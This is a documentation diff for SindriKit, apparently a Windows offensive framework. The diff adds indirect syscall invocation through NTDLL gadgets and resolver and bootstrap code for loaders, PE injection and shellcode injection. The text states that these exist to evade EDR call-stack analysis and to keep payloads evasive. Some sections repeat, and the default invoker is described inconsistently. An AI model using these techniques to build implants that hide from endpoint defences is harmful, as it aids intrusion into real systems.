| `snd_syscall_resolve_ssn_scan` | `syscalls_scan.c` | Read SSN from stub bytes; neighbor scan if hooked | | `snd_syscall_resolve_ssn_scan` | `syscalls_scan.c` | Read SSN from stub bytes; neighbor scan if hooked |
| `snd_syscall_resolve_ssn_sort` | `syscalls_sort.c` | Build sorted `Zw*` export table; index = SSN | | `snd_syscall_resolve_ssn_sort` | `syscalls_sort.c` | Build sorted `Zw*` export table; index = SSN |
Typical registration — scan first, sort as fallback: Typical registration:
```c ```c
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
``` ```
Custom resolvers matching `snd_syscall_resolver_t` can be added to the chain (max 4 strategies). Custom resolvers matching `snd_syscall_resolver_t` can be added to the chain (max 4 strategies).
## Invocation modes
| Function | File | Description |
|---|---|---|
| `snd_syscall_direct_invoke_asm` | `invoke_direct_x64.asm` / `invoke_direct_x86.asm` | Executes `syscall`/`sysenter` inline |
| `snd_syscall_indirect_invoke_asm` | `invoke_indirect_x64.asm` / `invoke_indirect_x86.asm` | Jumps to a legitimate NTDLL gadget |
> [!NOTE]
> Build with `SND_USE_DEFAULTS=ON` to pre-configure the invoker (`snd_syscall_direct_invoke_asm`), gadget finder (`snd_syscall_find_gadget_scan`), and primary resolver (`snd_syscall_resolve_ssn_scan`) at compile time. Only `snd_syscall_set_ntdll()` is then needed at runtime.
## Invocation modes
| Function | File | Description |
|---|---|---|
| `snd_syscall_direct_invoke_asm` | `invoke_direct_x64.asm` / `invoke_direct_x86.asm` | Executes `syscall`/`sysenter` inline |
| `snd_syscall_indirect_invoke_asm` | `invoke_indirect_x64.asm` / `invoke_indirect_x86.asm` | Jumps to a legitimate NTDLL gadget |
> **Note on `SND_USE_DEFAULTS`**: When enabled, the framework pre-configures the invoker (indirect), gadget finder, and primary resolver automatically.
## Table of Contents ## Table of Contents
- [pipeline.md](pipeline.md) — lifecycle from bootstrap to kernel transition - [pipeline.md](pipeline.md) — lifecycle from bootstrap to kernel transition
@@ -24,18 +24,23 @@ Internal pipeline depth: **4 strategies** (`SND_MAX_INTERNAL_STRATEGIES` in `sys
| `pAddress` | `PVOID` | Stub address (populated by scan resolver) | | `pAddress` | `PVOID` | Stub address (populated by scan resolver) |
| `dwHash` | `DWORD` | Target function hash | | `dwHash` | `DWORD` | Target function hash |
| `wSystemCall` | `WORD` | Resolved SSN | | `wSystemCall` | `WORD` | Resolved SSN |
| `pSyscallAddr` | `PVOID` | Gadget address for indirect invocation (populated by gadget finder) |
> [!NOTE] > [!NOTE]
> The sort resolver sets `wSystemCall` only. `_sys` backends use `entry.wSystemCall` for invocation. > The sort resolver sets `wSystemCall` only. `_sys` backends use `entry.wSystemCall` for invocation.
### `snd_syscall_args_t` ### `snd_syscall_args_t`
Arguments for `snd_syscall_invoke_asm`. On x64, `arg1` is moved to `R10` per the syscall convention; `arg2``arg4` use `RDX`/`R8`/`R9`; `arg5``arg11` are stack arguments. Arguments for the syscall invoker (`snd_syscall_direct_invoke_asm` or `snd_syscall_indirect_invoke_asm`). On x64, `arg1` is moved to `R10` per the syscall convention; `arg2``arg4` use `RDX`/`R8`/`R9`; `arg5``arg11` are stack arguments.
| Field | Type | Description | | Field | Type | Description |
|---|---|---| |---|---|---|
| `ssn` | `WORD` | SSN placed in `EAX`/`RAX` | | `ssn` | `WORD` | SSN placed in `EAX`/`RAX` |
| `arg1``arg11` | `PVOID` | Syscall arguments | | `arg1``arg11` | `PVOID` | Syscall arguments |
| `sys_addr` | `PVOID` | Gadget address for indirect invocation; ignored by direct stub |
> [!NOTE]
> `sys_addr` is placed at the end of the struct to preserve memory offsets for args 1-11, ensuring backward compatibility with existing ASM stubs.
--- ---
@@ -51,27 +56,27 @@ typedef snd_status_t (*snd_syscall_resolver_t)(
); );
``` ```
### `snd_syscall_strategy_set` ### `snd_syscall_set_resolver`
Sets the **primary** strategy and **resets** the chain to a single entry. Sets the **primary** strategy and **resets** the chain to a single entry.
```c ```c
void snd_syscall_strategy_set(snd_syscall_resolver_t resolver); void snd_syscall_set_resolver(snd_syscall_resolver_t resolver);
``` ```
**Returns:** `void` **Returns:** `void`
--- ---
### `snd_syscall_strategy_add` ### `snd_syscall_add_resolver`
Appends a fallback strategy. Evaluated in registration order after the primary. Appends a fallback strategy. Evaluated in registration order after the primary.
```c ```c
snd_status_t snd_syscall_strategy_add(snd_syscall_resolver_t resolver); snd_status_t snd_syscall_add_resolver(snd_syscall_resolver_t resolver);
``` ```
**Returns:** `SND_OK`, `SND_STATUS_INVALID_PARAMETER`, `SND_STATUS_BUFFER_TOO_SMALL` (chain full) **Returns:** `SND_OK`, `SND_STATUS_INVALID_PARAMETER`, `SND_STATUS_PIPELINE_EXHAUSTED` (chain full)
--- ---
@@ -117,6 +122,34 @@ snd_status_t snd_syscall_resolve_ssn_sort(
--- ---
### `snd_syscall_set_invoker`
Sets the global syscall invoker function pointer.
```c
void snd_syscall_set_invoker(snd_syscall_invoker_t invoker);
```
Built-in options: `snd_syscall_direct_invoke_asm`, `snd_syscall_indirect_invoke_asm`.
**Source:** `src/primitives/execution/syscalls/syscalls.c`
---
### `snd_syscall_set_gadget_finder`
Sets the global gadget finder function pointer. Only required when using indirect invocation.
```c
void snd_syscall_set_gadget_finder(snd_syscall_gadget_finder_t finder);
```
Built-in: `snd_syscall_find_gadget_scan`.
**Source:** `src/primitives/execution/syscalls/syscalls.c`
---
## Resolution & Execution ## Resolution & Execution
### `snd_syscall_resolve` ### `snd_syscall_resolve`
@@ -131,26 +164,57 @@ snd_status_t snd_syscall_resolve(DWORD func_hash, snd_syscall_entry_t *entry_out
--- ---
### `snd_syscall_invoke_asm` ### `snd_syscall_direct_invoke_asm`
Architecture-specific ASM stub (`invoke_x64.asm` / `invoke_x86.asm`). Architecture-specific ASM stub (`invoke_direct_x64.asm` / `invoke_direct_x86.asm`). Executes the `syscall` / `sysenter` / `int 2Eh` instruction inline.
```c ```c
extern NTSTATUS snd_syscall_invoke_asm(snd_syscall_args_t *args); extern NTSTATUS snd_syscall_direct_invoke_asm(snd_syscall_args_t *args);
``` ```
**Returns:** raw `NTSTATUS` from the kernel **Returns:** raw `NTSTATUS` from the kernel
--- ---
### `snd_syscall_indirect_invoke_asm`
Architecture-specific ASM stub (`invoke_indirect_x64.asm` / `invoke_indirect_x86.asm`). Jumps to a legitimate `syscall; ret` gadget inside NTDLL. Requires `sys_addr` to be populated (via `snd_syscall_find_gadget_scan` or a custom gadget finder).
```c
extern NTSTATUS snd_syscall_indirect_invoke_asm(snd_syscall_args_t *args);
```
**Returns:** raw `NTSTATUS`, or `STATUS_INVALID_PARAMETER` (`0xC000000D`) if `sys_addr` is NULL
---
## Compile-Time Defaults (`SND_USE_DEFAULTS`)
| Macro | Default value (when enabled) |
|---|---|
| `SND_SYSCALL_INVOKER_DEFAULT` | `snd_syscall_indirect_invoke_asm` |
| `SND_SYSCALL_GADGET_FINDER_DEFAULT` | `snd_syscall_find_gadget_scan` |
| `SND_SYSCALL_RESOLVER_DEFAULT` | `snd_syscall_resolve_ssn_scan` |
When `SND_USE_DEFAULTS` is disabled (default), all three macros expand to `NULL`.
> [!TIP]
> **OpSec Rationale:** Why use a compile-time macro instead of just initializing the variables to default pointers in `syscalls.c`?
> If the variables were unconditionally initialized with pointers to `snd_syscall_indirect_invoke_asm` and `snd_syscall_find_gadget_scan`, the C linker would be forced to pull those entire functions (including the scanner logic and ASM stubs) into the final compiled binary, even if the user explicitly chose to use direct syscalls or no syscalls at all.
> By using `SND_USE_DEFAULTS`, we ensure the default dependency graph is completely severed when disabled, keeping the payload footprint as lean and evasive as possible.
---
## Typical bootstrap (PoC pattern) ## Typical bootstrap (PoC pattern)
```c ```c
PVOID ntdll = NULL; PVOID ntdll = NULL;
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll); snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
snd_syscall_set_ntdll(ntdll); snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
snd_syscall_entry_t entry = {0}; snd_syscall_entry_t entry = {0};
snd_status_t status = snd_syscall_resolve(SND_HASH_NTALLOCATEVIRTUALMEMORY, &entry); snd_status_t status = snd_syscall_resolve(SND_HASH_NTALLOCATEVIRTUALMEMORY, &entry);
+34 -5
View File
@@ -1,6 +1,6 @@
# Syscall Resolution Engines # Syscall Resolution Engines
SindriKit ships two built-in SSN resolvers. Both implement `snd_syscall_resolver_t` and plug into the cascading pipeline via `snd_syscall_strategy_set` / `snd_syscall_strategy_add`. SindriKit ships two built-in SSN resolvers. Both implement `snd_syscall_resolver_t` and plug into the cascading pipeline via `snd_syscall_set_resolver` / `snd_syscall_add_resolver`.
| Resolver | File | Hook resistance | | Resolver | File | Hook resistance |
|---|---|---| |---|---|---|
@@ -57,7 +57,7 @@ The sorted table is built once per process (`g_table_initialized`). Subsequent r
### Output ### Output
Sets `entry_out->wSystemCall` to the table index. Does **not** populate `pAddress` or `dwHash` — sufficient for `snd_syscall_invoke_asm` which only needs the SSN. Sets `entry_out->wSystemCall` to the table index. Does **not** populate `pAddress` or `dwHash` — sufficient for the invoker which only needs the SSN.
### When to use ### When to use
@@ -71,8 +71,10 @@ Sets `entry_out->wSystemCall` to the table index. Does **not** populate `pAddres
PoCs and production profiles typically register both: PoCs and production profiles typically register both:
```c ```c
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
``` ```
Evaluation order: Evaluation order:
@@ -93,13 +95,40 @@ snd_status_t my_resolver(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entr
return SND_OK; return SND_OK;
} }
snd_syscall_strategy_add(my_resolver); snd_syscall_add_resolver(my_resolver);
``` ```
Maximum **4** strategies in the chain. Maximum **4** strategies in the chain.
--- ---
## Gadget finder (`snd_syscall_find_gadget_scan`)
**Source:** `gadget_scan.c`
Resolves the target function address from the natively loaded NTDLL (via PEB walk, not the user-supplied NTDLL image) and scans for a transition gadget.
### Algorithm
1. Get the natively loaded `ntdll.dll` base via `snd_peb_get_module_base_hash`.
2. Resolve the export address of the target function using its hash.
3. Scan forward up to 32 bytes for the transition signature:
- **x64:** `syscall; ret` (`0F 05 C3`)
- **x86:** Entry point + 5 bytes (skips `mov eax, SSN` and enters the OS-specific transition)
### Output
Populates `entry->pSyscallAddr` with the gadget address.
### When to use
Required when using `snd_syscall_indirect_invoke_asm`. The gadget finder runs automatically during `snd_syscall_resolve` if `g_syscall_gadget_finder` is set.
> [!IMPORTANT]
> The gadget finder uses the **natively loaded** NTDLL from the process PEB, not the user-supplied NTDLL image. This ensures the gadget points to executable memory regardless of how the SSN source was obtained (disk load, KnownDlls map, etc.).
---
## Dependencies ## Dependencies
Both resolvers depend on: Both resolvers depend on:
+58 -23
View File
@@ -1,6 +1,6 @@
# Syscall Execution Pipeline # Syscall Execution Pipeline
EDRs hook `ntdll.dll` syscall stubs in userland. Direct syscalls skip those stubs: the operator resolves the System Service Number (SSN) for a target `Nt*` function and invokes `syscall` with that number. EDRs hook `ntdll.dll` syscall stubs in userland. Direct syscalls skip those stubs: the operator resolves the System Service Number (SSN) for a target `Nt*` function and invokes `syscall` with that number. SindriKit supports both direct and indirect syscall invocation. Direct syscalls execute the `syscall` instruction inline, while indirect syscalls jump to a legitimate gadget within NTDLL to evade EDR call-stack analysis.
SSNs vary across Windows builds. SindriKit resolves them dynamically at runtime against a caller-supplied `ntdll` image. SSNs vary across Windows builds. SindriKit resolves them dynamically at runtime against a caller-supplied `ntdll` image.
@@ -10,9 +10,10 @@ SSNs vary across Windows builds. SindriKit resolves them dynamically at runtime
```mermaid ```mermaid
flowchart LR flowchart LR
A["1. snd_syscall_set_ntdll"] --> B["2. snd_syscall_strategy_set / _add"] A["1. snd_syscall_set_ntdll"] --> B["2. snd_syscall_set_resolver / _add"]
B --> C["3. snd_syscall_resolve"] B --> C["3. snd_syscall_set_invoker"]
C --> D["4. snd_syscall_invoke_asm"] C --> D["4. snd_syscall_resolve"]
D --> E["5. g_syscall_invoker"]
``` ```
### 1. Provide `ntdll` base ### 1. Provide `ntdll` base
@@ -34,13 +35,28 @@ See [mapping techniques](../mapping/techniques.md) for KnownDlls bootstrap.
### 2. Configure strategy chain ### 2. Configure strategy chain
```c ```c
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); // primary snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); // fallback snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
``` ```
`snd_syscall_strategy_set` **replaces** the entire chain. Each `snd_syscall_strategy_add` appends up to 3 fallbacks (4 total). `snd_syscall_set_resolver` **replaces** the entire chain. Each `snd_syscall_add_resolver` appends up to 3 fallbacks (4 total).
### 3. Resolve SSN ### 3. Configure invoker
```c
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm); // direct
// or
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); // indirect
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); // required for indirect
```
Indirect invocation requires a gadget finder. `snd_syscall_find_gadget_scan` resolves the target function in the natively loaded NTDLL via PEB and scans for a `syscall; ret` gadget (x64) or the transition stub entry (x86).
### 4. Resolve SSN
```c ```c
snd_syscall_entry_t entry = {0}; snd_syscall_entry_t entry = {0};
@@ -49,20 +65,23 @@ snd_status_t status = snd_syscall_resolve(SND_HASH_NTOPENSECTION, &entry);
`snd_syscall_resolve` tries each registered strategy in order until one returns `SND_OK`. `snd_syscall_resolve` tries each registered strategy in order until one returns `SND_OK`.
### 4. Invoke ### 5. Invoke
Populate `snd_syscall_args_t` and call the ASM stub: Populate `snd_syscall_args_t` and call via the global invoker:
```c ```c
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.arg1 = ...; args.sys_addr = entry.pSyscallAddr;
args.arg1 = ...;
// arg2arg11 as required by the target syscall // arg2arg11 as required by the target syscall
NTSTATUS nt_status = snd_syscall_invoke_asm(&args); NTSTATUS nt_status = g_syscall_invoker(&args);
``` ```
`_sys` primitive implementations (`snd_mem_sys`, `snd_proc_sys`, `snd_map_sys`) wrap steps 34 internally — operators only bootstrap once at startup. `sys_addr` is only used by the indirect invoker; the direct invoker ignores it.
`_sys` primitive implementations (`snd_mem_sys`, `snd_proc_sys`, `snd_map_sys`) wrap steps 45 internally — operators only bootstrap once at startup.
--- ---
@@ -75,8 +94,12 @@ snd_status_t st = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
if (SND_FAILED(st)) return st; if (SND_FAILED(st)) return st;
snd_syscall_set_ntdll(ntdll); snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
// Resolve + invoke NtClose // Resolve + invoke NtClose
snd_syscall_entry_t entry = {0}; snd_syscall_entry_t entry = {0};
@@ -84,14 +107,26 @@ st = snd_syscall_resolve(SND_HASH_NTCLOSE, &entry);
if (SND_FAILED(st)) return st; if (SND_FAILED(st)) return st;
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.arg1 = handle; args.sys_addr = entry.pSyscallAddr;
args.arg1 = handle;
NTSTATUS nt = snd_syscall_invoke_asm(&args); NTSTATUS nt = g_syscall_invoker(&args);
``` ```
--- ---
## `SND_USE_DEFAULTS`
When enabled, all globals (invoker, gadget finder, primary resolver) are pre-configured. The only required bootstrap call is `snd_syscall_set_ntdll()`.
> [!TIP]
> **OpSec Rationale:** Why use a compile-time macro instead of just initializing the variables to default pointers in `syscalls.c`?
> If the variables were unconditionally initialized with pointers to `snd_syscall_indirect_invoke_asm` and `snd_syscall_find_gadget_scan`, the C linker would be forced to pull those entire functions (including the scanner logic and ASM stubs) into the final compiled binary, even if the user explicitly chose to use direct syscalls or no syscalls at all.
> By using `SND_USE_DEFAULTS`, we ensure the default dependency graph is completely severed when disabled, keeping the payload footprint as lean and evasive as possible.
---
## Integration with `_sys` backends ## Integration with `_sys` backends
After bootstrap, swapping to syscall-backed primitives requires no additional setup: After bootstrap, swapping to syscall-backed primitives requires no additional setup:
@@ -101,7 +136,7 @@ ctx.mem_api = &snd_mem_sys;
inj_ctx.proc_api = &snd_proc_sys; inj_ctx.proc_api = &snd_proc_sys;
``` ```
Each `_sys` API function calls `snd_syscall_resolve` with the appropriate hash, packs arguments into `snd_syscall_args_t`, and invokes `snd_syscall_invoke_asm`. Each `_sys` API function calls `snd_syscall_resolve` with the appropriate hash, packs arguments into `snd_syscall_args_t`, and invokes `g_syscall_invoker`.
--- ---
@@ -109,10 +144,10 @@ Each `_sys` API function calls `snd_syscall_resolve` with the appropriate hash,
| Status | Cause | | Status | Cause |
|---|---| |---|---|
| `SND_STATUS_NOT_INITIALIZED` | `snd_syscall_set_ntdll` not called, or no strategies registered | | `SND_STATUS_NOT_INITIALIZED` | `snd_syscall_set_ntdll` not called, invoker not set, or no strategies registered |
| `SND_STATUS_SSN_NOT_FOUND` | All strategies failed for the hash | | `SND_STATUS_SSN_NOT_FOUND` | All strategies failed for the hash |
| `SND_STATUS_BUFFER_TOO_SMALL` | Strategy chain full (max 4) | | `SND_STATUS_PIPELINE_EXHAUSTED` | Strategy chain full (max 4) |
| `SND_STATUS_INVALID_PARAMETER` | NULL resolver passed to `strategy_add` | | `SND_STATUS_NULL_POINTER` | NULL resolver passed to `strategy_add` |
--- ---
+4 -2
View File
@@ -47,8 +47,10 @@ ldr_ctx.raw_source = &file_buf;
PVOID ntdll = NULL; PVOID ntdll = NULL;
status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll); status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
snd_syscall_set_ntdll(ntdll); snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
``` ```
### 3. Configure loader and injection contexts ### 3. Configure loader and injection contexts
+5 -2
View File
@@ -44,9 +44,12 @@ status = snd_disk_buffer_load(file_path, &inject_buf);
```c ```c
PVOID ntdll = NULL; PVOID ntdll = NULL;
status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll); status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
snd_syscall_set_ntdll(ntdll); snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
``` ```
This PoC bootstraps the pipeline but uses `snd_proc_win` for injection. Swap to `&snd_proc_sys` to use the prepared pipeline for stealth remote operations. This PoC bootstraps the pipeline but uses `snd_proc_win` for injection. Swap to `&snd_proc_sys` to use the prepared pipeline for stealth remote operations.
+1 -1
View File
@@ -22,7 +22,7 @@ No CLI — edit `file_path` in `main.c` before building.
PVOID ntdll = NULL; PVOID ntdll = NULL;
status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &ntdll); status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &ntdll);
snd_syscall_set_ntdll(ntdll); snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
``` ```
### 2. Configure loader context ### 2. Configure loader context
+4 -2
View File
@@ -31,8 +31,10 @@ status = snd_disk_buffer_load("C:\\Windows\\System32\\ntdll.dll", &ntdll_buf);
PVOID ntdll = ntdll_buf.data; PVOID ntdll = ntdll_buf.data;
snd_syscall_set_ntdll(ntdll); snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
``` ```
Commented alternatives in `pocs/loader_nowinapi/main.c` (swap in for different OpSec trade-offs): Commented alternatives in `pocs/loader_nowinapi/main.c` (swap in for different OpSec trade-offs):
+21 -13
View File
@@ -40,7 +40,7 @@ See [Dependency injection](../architecture/dependency_injection.md) for the full
## 3. Explicit bootstrap (no implicit globals) ## 3. Explicit bootstrap (no implicit globals)
> [!IMPORTANT] > [!IMPORTANT]
> Syscall-backed backends (`snd_mem_sys`, `snd_proc_sys`) and the syscall resolution pipeline require **explicit initialization**. The engine does not auto-discover a clean `ntdll` base or SSN table. > Syscall-backed backends (`snd_mem_sys`, `snd_proc_sys`) and the syscall resolution pipeline require **explicit initialization**. The engine does not auto-discover a clean `ntdll` base or SSN table (unless `SND_USE_DEFAULTS=ON`, where only `snd_syscall_set_ntdll()` is strictly required).
### Minimum syscall bootstrap ### Minimum syscall bootstrap
@@ -50,24 +50,30 @@ PVOID ntdll = NULL;
// Option A: KnownDlls (preferred for inject_pe / production syscall paths) // Option A: KnownDlls (preferred for inject_pe / production syscall paths)
status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll); status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
// Option B: disk load (loader_nowinapi default) // Option B: PEB walk (no disk I/O)
// status = snd_disk_buffer_load("C:\\Windows\\System32\\ntdll.dll", &ntdll_buf);
// ntdll = ntdll_buf.data;
// Option C: PEB walk (no disk I/O)
// status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &ntdll); // status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &ntdll);
// Option C: disk load
// ...
snd_syscall_set_ntdll(ntdll); snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
``` ```
| Step | Purpose | | Step | Purpose |
|---|---| |---|---|
| Obtain `ntdll` base | SSN scan/sort read export stubs from this image | | Obtain `ntdll` base | SSN scan/sort read export stubs from this image |
| `snd_syscall_set_ntdll` | Registers the base for all resolvers | | `snd_syscall_set_ntdll` | Registers the base for all resolvers |
| `snd_syscall_strategy_set` | Primary resolver (scan) | | `snd_syscall_set_resolver` | Primary resolver (scan) |
| `snd_syscall_strategy_add` | Fallback resolver (sort) | | `snd_syscall_add_resolver` | Fallback resolver (sort) |
| `snd_syscall_set_invoker` | Selects direct or indirect invocation |
| `snd_syscall_set_gadget_finder` | Required for indirect invocation only |
Even when using **`snd_mem_nt`** (in-process `ntdll` stubs, not direct syscalls), PoCs still bootstrap the pipeline so upgrading to **`snd_mem_sys`** requires no other code changes. Even when using **`snd_mem_nt`** (in-process `ntdll` stubs, not direct syscalls), PoCs still bootstrap the pipeline so upgrading to **`snd_mem_sys`** requires no other code changes.
@@ -147,7 +153,7 @@ snd_inj_cleanup(&inj_ctx);
|---|---|---|---|---|---| |---|---|---|---|---|---|
| Diagnostic | `loader_winapi` | `snd_mem_win` | `snd_mod_win` | — | Optional | | Diagnostic | `loader_winapi` | `snd_mem_win` | `snd_mod_win` | — | Optional |
| NT stubs | `loader_nowinapi` | `snd_mem_nt` | `snd_mod_nt` | — | Required (disk `ntdll`) | | NT stubs | `loader_nowinapi` | `snd_mem_nt` | `snd_mod_nt` | — | Required (disk `ntdll`) |
| Direct syscalls | `inject_pe` | `snd_mem_sys` | `snd_mod_nt` | `snd_proc_sys` | Required (KnownDlls) | | Direct/Indirect syscalls | `inject_pe` | `snd_mem_sys` | `snd_mod_nt` | `snd_proc_sys` | Required (KnownDlls) |
| CRT-less | `loader_noCRT_nowinapi` | `snd_mem_win` | `snd_mod_nt` | — | Minimal | | CRT-less | `loader_noCRT_nowinapi` | `snd_mem_win` | `snd_mod_nt` | — | Minimal |
| Shellcode inject | `inject_shell` | — | — | `snd_proc_win` | Yes (KnownDlls; unused while `_win`) | | Shellcode inject | `inject_shell` | — | — | `snd_proc_win` | Yes (KnownDlls; unused while `_win`) |
| WoW64 x64 exec | `heavens_gate` | Win32 demo alloc | — | — | N/A | | WoW64 x64 exec | `heavens_gate` | Win32 demo alloc | — | — | N/A |
@@ -180,8 +186,10 @@ Avoids `VirtualAlloc` / `LoadLibrary` telemetry; calls still pass through in-pro
```c ```c
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll); snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
snd_syscall_set_ntdll(ntdll); snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
ldr_ctx.mem_api = &snd_mem_sys; ldr_ctx.mem_api = &snd_mem_sys;
ldr_ctx.mod_api = &snd_mod_nt; ldr_ctx.mod_api = &snd_mod_nt;
+2
View File
@@ -62,11 +62,13 @@ Include `sindri.h` or granular headers (`sindri/primitives.h`, etc.). Hash const
| `SND_RANDOMIZE_SEED` | `OFF` | Random `SND_HASH_SEED` per configure | OFF keeps deterministic hashes for faster rebuilds | | `SND_RANDOMIZE_SEED` | `OFF` | Random `SND_HASH_SEED` per configure | OFF keeps deterministic hashes for faster rebuilds |
| `SND_BUILD_PAYLOADS` | `OFF` | Build `pocs/` executables | Full set when `SND_CRTLESS=OFF` | | `SND_BUILD_PAYLOADS` | `OFF` | Build `pocs/` executables | Full set when `SND_CRTLESS=OFF` |
| `SND_BUILD_TESTS` | `OFF` | Build test payloads + integration harness inputs | **Requires CRT**; forces `SND_CRTLESS=OFF` | | `SND_BUILD_TESTS` | `OFF` | Build test payloads + integration harness inputs | **Requires CRT**; forces `SND_CRTLESS=OFF` |
| `SND_USE_DEFAULTS` | `OFF` | Pre-configure syscall invoker, gadget finder, and resolver globals | Defaults to indirect invoke + scan resolver + gadget scan. **OpSec note**: Left OFF by default so unused ASM stubs and scanners aren't linked into the final binary. |
### Guards (CMake) ### Guards (CMake)
- `SND_BUILD_TESTS=ON``SND_CRTLESS` forced OFF - `SND_BUILD_TESTS=ON``SND_CRTLESS` forced OFF
- `SND_CRTLESS=ON``SND_ENABLE_DEBUG` and `SND_USE_PRINTF` forced OFF - `SND_CRTLESS=ON``SND_ENABLE_DEBUG` and `SND_USE_PRINTF` forced OFF
- `SND_USE_DEFAULTS=ON` → invoker = `snd_syscall_indirect_invoke_asm`, gadget finder = `snd_syscall_find_gadget_scan`, resolver = `snd_syscall_resolve_ssn_scan`
- Non-Windows configure → fatal error - Non-Windows configure → fatal error
Use a **clean build directory** when switching between CRT-less and test builds. Use a **clean build directory** when switching between CRT-less and test builds.
+3 -3
View File
@@ -12,8 +12,8 @@ Keeping these separate reflects the code layout:
``` ```
include/sindri/parsers/ include/sindri/parsers/
├── pe/ buffer-backed PE format parsing ├── pe/ <- buffer-backed PE format parsing
└── env/ live process environment structures └── env/ <- live process environment structures
``` ```
